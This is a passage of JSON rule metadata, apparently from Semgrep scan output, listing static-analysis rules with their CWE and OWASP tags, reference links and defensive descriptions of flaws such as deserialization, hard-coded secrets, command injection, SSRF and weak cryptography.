data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","id":"python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","name":"python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-url.mysql-connection-url)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-url.mysql-connection-url","id":"rust.secrets.diesel.mysql-connection-url.mysql-connection-url","name":"rust.secrets.diesel.mysql-connection-url.mysql-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.mysql-connection-url.mysql-connection-url"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access."},"help":{"markdown":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The libxml2 library is used to parse XML. When auditing such code, make sure that either the document being parsed is trusted or that the parsing options are safe to consume untrusted documents. In such case make sure DTD or XInclude documents cannot be loaded and there is no network access."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","id":"cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","name":"cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-audit-parser.libxml2-audit-parser"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"JWT token detected"},"help":{"markdown":"JWT token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-jwt-token.detected-jwt-token)\n - [https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/](https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/)\n","text":"JWT token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-jwt-token.detected-jwt-token","id":"generic.secrets.security.detected-jwt-token.detected-jwt-token","name":"generic.secrets.security.detected-jwt-token.detected-jwt-token","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-jwt-token.detected-jwt-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine."},"help":{"markdown":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)\n - [https://redfoxsec.com/blog/insecure-volume-mounts-in-docker/](https://redfoxsec.com/blog/insecure-volume-mounts-in-docker/)\n - [https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html](https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html)\n","text":"The Dockerfile(image) mounts docker.sock to the container which may allow an attacker already inside of the container to escape container and execute arbitrary commands on the host machine."},"helpUri":"https://semgrep.dev/r/dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","id":"dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","name":"dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","CWE-862: Missing Authorization","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.dockerd-socket-mount.dockerfile-dockerd-socket-mount"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process."},"help":{"markdown":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.razor-template-injection.razor-template-injection)\n - [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/)\n","text":"User-controllable string passed to Razor.Parse. This leads directly to code execution in the context of the process."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.razor-template-injection.razor-template-injection","id":"csharp.dotnet.security.razor-template-injection.razor-template-injection","name":"csharp.dotnet.security.razor-template-injection.razor-template-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.razor-template-injection.razor-template-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","id":"python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","name":"python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.regex.tainted-regex-stdlib-flask.tainted-regex-stdlib-flask"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"help":{"markdown":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape)\n - [https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates](https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates)\n - [https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code](https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code)\n","text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","id":"python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","name":"python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-blocktranslate-no-escape.template-blocktranslate-no-escape"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself."},"help":{"markdown":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting)\n - [https://www.owasp.org/index.php/HTTP_Response_Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting)\n","text":"Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting","id":"java.lang.security.audit.http-response-splitting.http-response-splitting","name":"java.lang.security.audit.http-response-splitting.http-response-splitting","properties":{"precision":"very-high","tags":["CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.http-response-splitting.http-response-splitting"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. "},"help":{"markdown":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.regexp-redos.regexp-redos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"Detected `$REQ` argument enters calls to `RegExp`. This could lead to a Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible avoid calls to `RegExp` with user input, if required ensure user input is escaped or validated. "},"helpUri":"https://semgrep.dev/r/javascript.express.regexp-redos.regexp-redos","id":"javascript.express.regexp-redos.regexp-redos","name":"javascript.express.regexp-redos.regexp-redos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.regexp-redos.regexp-redos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"the `encoding` argument to Popen is only available on Python 3.6+"},"help":{"markdown":"the `encoding` argument to Popen is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen2)\n","text":"the `encoding` argument to Popen is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen2","id":"python.lang.compatibility.python36.python36-compatibility-Popen2","name":"python.lang.compatibility.python36.python36-compatibility-Popen2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-Popen2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Snyk API Key detected"},"help":{"markdown":"Snyk API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Snyk API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","id":"generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","name":"generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-snyk-api-key.detected-snyk-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"help":{"markdown":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion)\n - [https://cwe.mitre.org/data/definitions/704.html](https://cwe.mitre.org/data/definitions/704.html)\n","text":"'Integer.toHexString()' strips leading zeroes from each byte if read byte-by-byte. This mistake weakens the hash value computed since it introduces more collisions. Use 'String.format(\"%02X\", ...)' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","id":"java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","name":"java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.bad-hexa-conversion.bad-hexa-conversion"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","id":"python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","name":"python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask-secure-if-array.tainted-os-command-stdlib-flask-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Database instance has no logging. Missing logs can cause missing important event information."},"help":{"markdown":"Database instance has no logging. Missing logs can cause missing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Database instance has no logging. Missing logs can cause missing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","id":"terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","name":"terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-db-instance-no-logging.aws-db-instance-no-logging"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","id":"python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","name":"python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected ARC4 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","id":"python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","name":"python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-rc4.insecure-cipher-algorithm-rc4"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","id":"java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","name":"java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat.httpclient-taint-concat"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"help":{"markdown":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD2 hashing algorithm was identified which is considered insecure. MD2 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","id":"swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","name":"swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md2.insecure-hashing-algorithm-md2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.tainted-shelve.tainted-shelve)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.lang.file.tainted-shelve.tainted-shelve","id":"python.lang.file.tainted-shelve.tainted-shelve","name":"python.lang.file.tainted-shelve.tainted-shelve","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access 